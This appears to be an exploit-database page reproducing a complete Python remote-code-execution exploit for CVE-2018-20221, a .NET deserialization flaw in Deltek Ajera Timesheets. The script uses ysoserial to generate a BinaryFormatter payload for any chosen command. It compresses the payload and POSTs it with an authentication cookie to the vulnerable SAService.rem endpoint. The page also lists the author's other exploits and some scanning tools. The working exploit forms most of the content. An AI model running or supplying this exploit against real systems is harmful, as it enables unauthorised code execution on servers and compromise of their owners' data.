Search for hundreds of thousands of exploits

"Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data"

Author

Exploit author

"Anthony Cole"

Platform

Exploit platform

windows

Release date

Exploit published date

2019-01-07

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#   
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#  

import struct, sys, requests, zlib, argparse, urlparse, subprocess

def run_command(command):
	p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
	output = b''
	for line in iter(p.stdout.readline, b''):
		output += line
		
	return output

def isurl(urlstr):
	try:
		urlparse.urlparse(urlstr)
		return urlstr
	except:
		raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
	parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
	parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
	parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
	parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
	parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
	parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
	args = parser.parse_args()
	
	url_parts = urlparse.urlparse(args.url)
	target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
	
	proxies = {}
	if(args.proxy != None):
		proxy_parts = urlparse.urlparse(args.proxy)
		proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
	
	cmd = "/c " + args.cmd
	size = len(cmd)
	
	serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))
	
	url = target_url + "/ajera/Secure/SAService.rem"
	headers = {'Content-Type': 'application/octet-stream'}
	cookies = {'.ASPXAUTH': args.auth}
	payload = "\x04" + args.version + zlib.compress(serial_payload)
	response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False)
Release DateTitleTypePlatformAuthor
2020-05-12"TylerTech Eagle 2018.3.11 - Remote Code Execution"webappsjava"Anthony Cole"
2019-01-07"Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data"webappswindows"Anthony Cole"
2017-10-24"Mura CMS < 6.2 - Server-Side Request Forgery / XML External Entity Injection"webappscfm"Anthony Cole"
2016-09-22"Microix Timesheet Module - SQL Injection"webappsaspx"Anthony Cole"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46086/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.